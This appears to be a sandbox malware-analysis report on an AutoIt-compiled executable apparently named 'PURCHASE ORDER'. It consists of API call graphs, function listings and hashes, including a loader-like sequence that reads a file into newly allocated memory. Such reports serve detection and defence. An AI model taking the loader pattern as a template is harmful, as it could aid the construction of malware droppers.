86546->86367 86548 4092c0 VariantClear 86547->86548 86549 40416e 86548->86549 86550 404120 VariantClear 86549->86550 86551 40419b 86550->86551 86557 40efe0 86551->86557 86565 4734b7 86551->86565 86552 4041c6 86552->86365 86552->86375 86555->86365 86556->86368 86558 40eff5 CreateFileW 86557->86558 86559 4299bf 86557->86559 86561 40f017 86558->86561 86560 4299c4 CreateFileW 86559->86560 86559->86561 86560->86561 86562 4299ea 86560->86562 86561->86552 86609 40e0d0 SetFilePointerEx SetFilePointerEx 86562->86609 86564 4299f5 86564->86561 86566 453063 111 API calls 86565->86566 86567 4734d7 86566->86567 86568 473545 86567->86568 86569 47350c 86567->86569 86610 463c42 86568->86610 86571 4092c0 VariantClear 86569->86571 86576 473514 86571->86576 86572 473558 86573 47355c 86572->86573 86589 473595 86572->86589 86574 4092c0 VariantClear 86573->86574 86584 473564 86574->86584 86575 473616 86623 463d7e 86575->86623 86576->86552 86578 453063 111 API calls 86578->86589 86579 473622 86580 473697 86579->86580 86581 47362c 86579->86581 86657 457838 86580->86657 86585 4092c0 VariantClear 86581->86585 86584->86552 86587 473634 86585->86587 86587->86552 86588 473655 86591 4092c0 VariantClear 86588->86591 86589->86575 86589->86578 86589->86588 86669 462f5a 87 API calls __wcsicoll 86589->86669 86603 47365d 86591->86603 86593 4736b0 86670 45e62e 116 API calls 3 library calls 86593->86670 86594 4736c9 86671 40e7e0 76 API calls 86594->86671 86597 4736db 86607 4736ff 86597->86607 86672 40d030 76 API calls 86597->86672 86598 4736ba GetCurrentProcess TerminateProcess 86598->86594 86600 4736f1 86673 46b945 134 API calls 2 library calls 86600->86673 86601 473731 86605 473744 FreeLibrary 86601->86605 86606 47374b 86601->86606 86603->86552 86605->86606 86606->86552 86607->86601 86674 40d030 76 API calls 86607->86674 86675 46b945 134 API calls 2 library calls 86607->86675 86609->86564 86676 45335b 76 API calls 86610->86676 86612 463c5d 86677 442c52 80 API calls _wcslen 86612->86677 86615 463c72 86616 40c060 75 API calls 86615->86616 86622 463cac 86615->86622 86617 463c8e 86616->86617 86678 4608ce 75 API calls _memcpy_s 86617->86678 86619 463ca4 86620 40c740 75 API calls 86619->86620 86620->86622 86621 463cf7 86621->86572 86622->86621 86679 462f5a 87 API calls __wcsicoll 86622->86679 86624 453063 111 API calls 86623->86624 86625 463d99 86624->86625 86626 463de0 86625->86626 86627 463dca 86625->86627 86681 40c760 78 API calls 86626->86681 86680 453081 111 API calls 86627->86680 86630 463dd0 LoadLibraryW 86632 463e09 86630->86632 86631 463de7 86636 463e19 86631->86636 86682 40c760 78 API calls 86631->86682 86634 463e3e 86632->86634 86632->86636 86637 463e4e 86634->86637 86638 463e7b 86634->86638 86635 463dfb 86635->86636 86683 40c760 78 API calls 86635->86683 86636->86579 86684 40d500 75 API calls 86637->86684 86686 40c760 78 API calls 86638->86686 86642 463e57 86685 45efe7 77 API calls moneypunct 86642->86685 86643 463e82 GetProcAddress 86646 463e90 86643->86646 86645 463e62 GetProcAddress 86648 463e79 86645->86648 86646->86636 86647 463edf 86646->86647 86646->86648 86647->86636 86651 463eef FreeLibrary 86647->86651 86648->86646 86687 403470 75 API calls _memcpy_s 86648->86687 86650 463eb4 86688 40d500 75 API calls 86650->86688 86651->86636 86653 463ebd 86689 45efe7 77 API calls moneypunct 86653->86689 86655 463ec8 GetProcAddress 86690 401330 moneypunct 86655->86690 86658 457a4c 86657->86658 86664 45785f _strcat moneypunct _wcslen _wcscpy 86657->86664 86665 410d40 86658->86665 86659 453081 111 API calls 86659->86664 86660 443576 78 API calls 86660->86664 86661 40c760 78 API calls 86661->86664 86662 4138ba 67 API calls _malloc 86662->86664 86663 40f580 77 API calls 86663->86664 86664->86658 86664->86659 86664->86660 86664->86661 86664->86662 86664->86663 86666 410d55 86665->86666 86667 410ded VirtualProtect 86666->86667 86668 410dbb 86666->86668 86667->86668 86668->86593 86668->86594 86669->86589 86670->86598 86671->86597 86672->86600 86673->86607 86674->86607 86675->86607 86676->86612 86677->86615 86678->86619 86679->86621 86680->86630 86681->86631 86682->86635 86683->86632 86684->86642 86685->86645 86686->86643 86687->86650 86688->86653 86689->86655 86690->86647 86691->86386 86692->86479 86693->86394 86694->86399 86695->86437 86696->86437 86697->86454 86698->86437 86699->86437 86700->86417 86701->86433 86702->86440 86703->86412 86704->86416 86705->86419 86706->86456 86707->86456 86708->86456 86709->86456 86710->86456 86711->86435 86712->86451 86713->86445 86714->86465 86715->86484 86716->86484 86717->86484 86718->86479 86719->86491 86720->86505 86721->86497 86722->86502 86723->86510 86724->86510 86725->86451 86726->86404 84746 46d22f 84749 46d098 84746->84749 84748 46d241 84750 46d0b5 84749->84750 84751 46d115 84750->84751 84752 46d0b9 84750->84752 84820 45c216 78 API calls 84751->84820 84797 41171a 84752->84797 84756 46d126 84758 46d0f8 84756->84758 84764 46d142 84756->84764 84757 46d0cc 84810 453063 84757->84810 84816 4092c0 84758->84816 84762 46d0fd 84762->84748 84765 46d1c8 84764->84765 84768 46d158 84764->84768 84830 4676a3 78 API calls 84765->84830 84771 453063 111 API calls 84768->84771 84769 46d0ea 84769->84764 84772 46d0ee 84769->84772 84770 46d1ce 84831 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 84770->84831 84780 46d15e 84771->84780 84772->84758 84815 44ade5 CloseHandle moneypunct 84772->84815 84773 46d18d 84821 467fce 82 API calls 84773->84821 84777 46d196 84822 4013a0 84777->84822 84778 46d1e7 84782 4092c0 VariantClear 84778->84782 84792 46d194 84778->84792 84780->84773 84780->84777 84782->84792 84784 46d1ac 84828 40d3b0 75 API calls 2 library calls 84784->84828 84786 46d224 84786->84748 84787 46d1b8 84829 467fce 82 API calls 84787->84829 84790 46d216 84832 44ade5 CloseHandle moneypunct 84790->84832 84792->84786 84793 40d900 84792->84793 84794 40d917 84793->84794 84795 40d909 84793->84795 84794->84795 84796 40d91c CloseHandle 84794->84796 84795->84790 84796->84790 84799 411724 84797->84799 84800 41173e 84799->84800 84802 411740 std::bad_alloc::bad_alloc 84799->84802 84833 4138ba 84799->84833 84851 411afc 6 API calls __decode_pointer 84799->84851 84800->84757 84809 40d940 76 API calls 84800->84809 84807 411766 84802->84807 84852 411421 84802->84852 84804 411770 84856 41805b RaiseException 84804->84856 84855 4116fd 67 API calls std::exception::exception 84807->84855 84808 41177e 84809->84757 84811 45306e 84810->84811 84812 45307a 84810->84812 84811->84812 84994 452e2a 111 API calls 5 library calls 84811->84994 84814 40dfa0 83 API calls 84812->84814 84814->84769 84815->84758 84817 4092c8 moneypunct 84816->84817 84818 429db0 VariantClear 84817->84818 84819 4092d5 moneypunct 84817->84819 84818->84819 84819->84762 84820->84756 84821->84792 84823 41171a 75 API calls 84822->84823 84824 4013c4 84823->84824 84995 401380 75 API calls 84824->84995 84826 4013d3 84827 40df50 75 API calls 84826->84827 84827->84784 84828->84787 84829->84792 84830->84770 84831->84778 84832->84786 84834 41396d 84833->84834 84845 4138cc 84833->84845 84864 411afc 6 API calls __decode_pointer 84834->84864 84836 413973 84865 417f23 67 API calls __getptd_noexit 84836->84865 84839 413965 84839->84799 84842 413929 RtlAllocateHeap 84842->84845 84843 4138dd 84843->84845 84857 418252 67 API calls 2 library calls 84843->84857 84858 4180a7 67 API calls 7 library calls 84843->84858 84859 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84843->84859 84845->84839 84845->84842 84845->84843 84846 413959 84845->84846 84849 41395e 84845->84849 84860 41386b 67 API calls 4 library calls 84845->84860 84861 411afc 6 API calls __decode_pointer 84845->84861 84862 417f23 67 API calls __getptd_noexit 84846->84862 84863 417f23 67 API calls __getptd_noexit 84849->84863 84851->84799 84866 4113e5 84852->84866 84854 41142e 84854->84807 84855->84804 84856->84808 84857->84843 84858->84843 84860->84845 84861->84845 84862->84849 84863->84839 84864->84836 84865->84839 84867 4113f1 _flsall 84866->84867 84874 41181b 84867->84874 84873 411412 _flsall 84873->84854 84900 418407 84874->84900 84876 4113f6 84877 4112fa 84876->84877 84965 4169e9 TlsGetValue 84877->84965 84880 4169e9 __decode_pointer 6 API calls 84882 41131e 84880->84882 84881 4113a1 84897 41141b 84881->84897 84882->84881 84975 4170e7 68 API calls 5 library calls 84882->84975 84884 41133c 84885 411388 84884->84885 84888 411357 84884->84888 84889 411366 84884->84889 84886 41696e __encode_pointer 6 API calls 84885->84886 84887 411396 84886->84887 84890 41696e __encode_pointer 6 API calls 84887->84890 84976 417047 73 API calls _realloc 84888->84976 84889->84881 84892 411360 84889->84892 84890->84881 84892->84889 84894 41137c 84892->84894 84977 417047 73 API calls _realloc 84892->84977 84978 41696e TlsGetValue 84894->84978 84895 411376 84895->84881 84895->84894 84990 411824 84897->84990 84901 41841c 84900->84901 84902 41842f EnterCriticalSection 84900->84902 84907 418344 84901->84907 84902->84876 84904 418422 84904->84902 84935 4117af 67 API calls 3 library calls 84904->84935 84906 41842e 84906->84902 84908 418350 _flsall 84907->84908 84909 418360 84908->84909 84910 418378 84908->84910 84936 418252 67 API calls 2 library calls 84909->84936 84916 418386 _flsall 84910->84916 84939 416fb6 84910->84939 84912 418365 84937 4180a7 67 API calls 7 library calls 84912->84937 84916->84904 84917 41836c 84938 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84917->84938 84918 4183a7 84921 418407 __lock 67 API calls 84918->84921 84919 418398 84945 417f23 67 API calls __getptd_noexit 84919->84945 84923 4183ae 84921->84923 84925 4183e2 84923->84925 84926 4183b6 84923->84926 84928 413a88 __mtterm 67 API calls 84925->84928 84946 4189e6 InitializeCriticalSectionAndSpinCount _flsall 84926->84946 84929 4183d3 84928->84929 84961 4183fe LeaveCriticalSection _doexit 84929->84961 84930 4183c1 84930->84929 84947 413a88 84930->84947 84933 4183cd 84960 417f23 67 API calls __getptd_noexit 84933->84960 84935->84906 84936->84912 84937->84917 84941 416fbf 84939->84941 84940 4138ba _malloc 66 API calls 84940->84941 84941->84940 84942 416ff5 84941->84942 84943 416fd6 Sleep 84941->84943 84942->84918 84942->84919 84944 416feb 84943->84944 84944->84941 84944->84942 84945->84916 84946->84930 84949 413a94 _flsall 84947->84949 84948 413b0d _flsall _realloc 84948->84933 84949->84948 84950 418407 __lock 65 API calls 84949->84950 84959 413ad3 84949->84959 84956 413aab ___sbh_find_block 84950->84956 84951 413ae8 RtlFreeHeap 84951->84948 84952 413afa 84951->84952 84964 417f23 67 API calls __getptd_noexit 84952->84964 84954 413aff GetLastError 84954->84948 84955 413ac5 84963 413ade LeaveCriticalSection _doexit 84955->84963 84956->84955 84962 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __cftoe2_l 84956->84962 84959->84948 84959->84951 84960->84929 84961->84916 84962->84955 84963->84959 84964->84954 84966 416a01 84965->84966 84967 416a22 GetModuleHandleW 84965->84967 84966->84967 84968 416a0b TlsGetValue 84966->84968 84969 416a32 84967->84969 84970 416a3d GetProcAddress 84967->84970 84973 416a16 84968->84973 84988 41177f Sleep GetModuleHandleW 84969->84988 84972 41130e 84970->84972 84972->84880 84973->84967 84973->84972 84974 416a38 84974->84970 84974->84972 84975->84884 84976->84892 84977->84895 84979 4169a7 GetModuleHandleW 84978->84979 84980 416986 84978->84980 84982 4169c2 GetProcAddress 84979->84982 84983 4169b7 84979->84983 84980->84979 84981 416990 TlsGetValue 84980->84981 84985 41699b 84981->84985 84987 41699f 84982->84987 84989 41177f Sleep GetModuleHandleW 84983->84989 84985->84979 84985->84987 84986 4169bd 84986->84982 84986->84987 84987->84885 84988->84974 84989->84986 84993 41832d LeaveCriticalSection 84990->84993 84992 411420 84992->84873 84993->84992 84994->84812 84995->84826 86727 42919b 86732 40ef10 86727->86732 86730 411421 __cinit 74 API calls 86731 4291aa 86730->86731 86733 41171a 75 API calls 86732->86733 86734 40ef17 86733->86734 86735 42ad48 86734->86735 86740 40ef40 74 API calls __cinit 86734->86740 86737 40ef2a 86741 40e470 86737->86741 86740->86737 86742 40c060 75 API calls 86741->86742 86743 40e483 GetVersionExW 86742->86743 86744 4021e0 75 API calls 86743->86744 86745 40e4bb 86744->86745 86767 40e600 86745->86767 86751 42accc 86753 42ad28 GetSystemInfo 86751->86753 86757 42ad38 GetSystemInfo 86753->86757 86754 40e557 GetCurrentProcess 86787 40ee30 LoadLibraryA GetProcAddress 86754->86787 86755 40e56c 86755->86757 86780 40eee0 86755->86780 86760 40e5c9 86784 40eea0 86760->86784 86763 40e5e0 86765 40e5f1 FreeLibrary 86763->86765 86766 40e5f4 86763->86766 86764 40e5dd FreeLibrary 86764->86763 86765->86766 86766->86730 86768 40e60b 86767->86768 86769 40c740 75 API calls 86768->86769 86770 40e4c2 86769->86770 86771 40e620 86770->86771 86773 40e62a 86771->86773 86772 42ac93 86773->86772 86774 40c740 75 API calls 86773->86774 86775 40e4ce 86774->86775 86775->86751 86776 40ee70 86775->86776 86777 40e551 86776->86777 86778 40ee76 LoadLibraryA 86776->86778 86777->86754 86777->86755 86778->86777 86779 40ee87 GetProcAddress 86778->86779 86779->86777 86781 40e5bf 86780->86781 86782 40eee6 LoadLibraryA 86780->86782 86781->86753 86781->86760 86782->86781 86783 40eef7 GetProcAddress 86782->86783 86783->86781 86788 40eec0 LoadLibraryA GetProcAddress 86784->86788 86786 40e5d3 GetNativeSystemInfo 86786->86763 86786->86764 86787->86755 86788->86786 86789 42e89e 86796 40c000 86789->86796 86791 42e8ac 86792 409a40 165 API calls 86791->86792 86793 42e8ca 86792->86793 86807 44b92e VariantClear 86793->86807 86795 42f3ae 86797 40c014 86796->86797 86798 40c007 86796->86798 86800 40c01a 86797->86800 86801 40c02c 86797->86801 86808 409210 VariantClear 86798->86808 86809 409210 VariantClear 86800->86809 86804 41171a 75 API calls 86801->86804 86802 40c00f 86802->86791 86806 40c033 86804->86806 86805 40c023 86805->86791 86806->86791 86807->86795 86808->86802 86809->86805 84996 3f5c078 85010 3f59cc8 84996->85010 84998 3f5c136 85013 3f5bf68 84998->85013 85000 3f5c15f CreateFileW 85002 3f5c1b3 85000->85002 85003 3f5c1ae 85000->85003 85002->85003 85004 3f5c1ca VirtualAlloc 85002->85004 85004->85003 85005 3f5c1e8 ReadFile 85004->85005 85005->85003 85006 3f5c203 85005->85006 85007 3f5af68 13 API calls 85006->85007 85008 3f5c236 85007->85008 85009 3f5c259 ExitProcess 85008->85009 85009->85003 85016 3f5d168 GetPEB 85010->85016 85012 3f5a353 85012->84998 85014 3f5bf71 Sleep 85013->85014 85015 3f5bf7f 85014->85015 85017 3f5d192 85016->85017 85017->85012 85018 40116e 85019 401119 DefWindowProcW 85018->85019

                                                                          Executed Functions

                                                                          Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _wcslen.LIBCMT ref: 00409A61
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                          • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                          • String ID: 0vH$4RH
                                                                          • API String ID: 1143807570-2085553193
                                                                          • Opcode ID: 99d1197353860daa2513f82cc2f46b4e9eeffbfa9250308b68df757a7373a6ee
                                                                          • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                          • Opcode Fuzzy Hash: 99d1197353860daa2513f82cc2f46b4e9eeffbfa9250308b68df757a7373a6ee
                                                                          • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                          Function 0040E470 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 165COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1204 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 1213 40e506-40e509 1204->1213 1214 42accc-42acd1 1204->1214 1217 40e540-40e555 call 40ee70 1213->1217 1218 40e50b-40e51c 1213->1218 1215 42acd3-42acdb 1214->1215 1216 42acdd-42ace0 1214->1216 1219 42ad12-42ad20 1215->1219 1220 42ace2-42aceb 1216->1220 1221 42aced-42acf0 1216->1221 1235 40e557-40e573 GetCurrentProcess call 40ee30 1217->1235 1236 40e579-40e5a8 1217->1236 1222 40e522-40e525 1218->1222 1223 42ac9b-42aca7 1218->1223 1234 42ad28-42ad2d GetSystemInfo 1219->1234 1220->1219 1221->1219 1227 42acf2-42ad06 1221->1227 1222->1217 1228 40e527-40e537 1222->1228 1225 42acb2-42acba 1223->1225 1226 42aca9-42acad 1223->1226 1225->1217 1226->1217 1230 42ad08-42ad0c 1227->1230 1231 42ad0e 1227->1231 1232 42acbf-42acc7 1228->1232 1233 40e53d 1228->1233 1230->1219 1231->1219 1232->1217 1233->1217 1238 42ad38-42ad3d GetSystemInfo 1234->1238 1235->1236 1245 40e575 1235->1245 1236->1238 1239 40e5ae-40e5c3 call 40eee0 1236->1239 1239->1234 1244 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 1239->1244 1248 40e5e0-40e5ef 1244->1248 1249 40e5dd-40e5de FreeLibrary 1244->1249 1245->1236 1250 40e5f1-40e5f2 FreeLibrary 1248->1250 1251 40e5f4-40e5ff 1248->1251 1249->1248 1250->1251
                                                                          APIs
                                                                          • GetVersionExW.KERNEL32 ref: 0040E495
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                          • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                          • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                          • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                          • String ID: pMH
                                                                          • API String ID: 2923339712-2522892712
                                                                          • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                          • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                          • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                          • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                          Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                          • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressLibraryLoadProc
                                                                          • String ID: IsThemeActive$uxtheme.dll
                                                                          • API String ID: 2574300362-3542929980
                                                                          • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                          • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                          • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                          • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                          Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                          • __wsplitpath.LIBCMT ref: 00410C61
                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                          • _wcsncat.LIBCMT ref: 00410C78
                                                                          • __wmakepath.LIBCMT ref: 00410C94
                                                                            • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                          • _wcscpy.LIBCMT ref: 00410CCC
                                                                          • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                          • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                          • _wcscat.LIBCMT ref: 00429C43
                                                                          • _wcslen.LIBCMT ref: 00429C55
                                                                          • _wcslen.LIBCMT ref: 00429C66
                                                                          • _wcscat.LIBCMT ref: 00429C80
                                                                          • _wcsncpy.LIBCMT ref: 00429CC0
                                                                          • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                          • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                          • API String ID: 1004883554-2276155026
                                                                          • Opcode ID: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                          • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                          • Opcode Fuzzy Hash: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                          • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                          Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                            • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                          • Sleep.KERNEL32(0000000A), ref: 00409870
                                                                          • timeGetTime.WINMM ref: 00409880
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharSleepTimeUpper_wcslentime
                                                                          • String ID:
                                                                          • API String ID: 3219444185-0
                                                                          • Opcode ID: b124ae733e2c30a8df030179fd7ebda2966fc041c6879d6beed06594e2dda547
                                                                          • Instruction ID: 79dfb759edd1749a95aa3438e3198289cebfc990e9c1b7da565b255c5aac8c6d
                                                                          • Opcode Fuzzy Hash: b124ae733e2c30a8df030179fd7ebda2966fc041c6879d6beed06594e2dda547
                                                                          • Instruction Fuzzy Hash: D422F171608342ABC724DF64C984BABB7A0BF89304F14492FE54997392D77CEC45CB9A
                                                                          Function 004523CE Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 145COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __fread_nolock$_fseek_wcscpy
                                                                          • String ID: FILE
                                                                          • API String ID: 3888824918-3121273764
                                                                          • Opcode ID: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                          • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                          • Opcode Fuzzy Hash: e8200e6015bbe3313da03f0c122791b2111f624a8fcd35516e511649d5e709ac
                                                                          • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                          Function 004102F0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • GetSysColorBrush.USER32 ref: 00410326
                                                                          • RegisterClassExW.USER32 ref: 00410359
                                                                          • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,?), ref: 0041036A
                                                                          • InitCommonControlsEx.COMCTL32(0000000F,?,?,?,?,?,?), ref: 0041038A
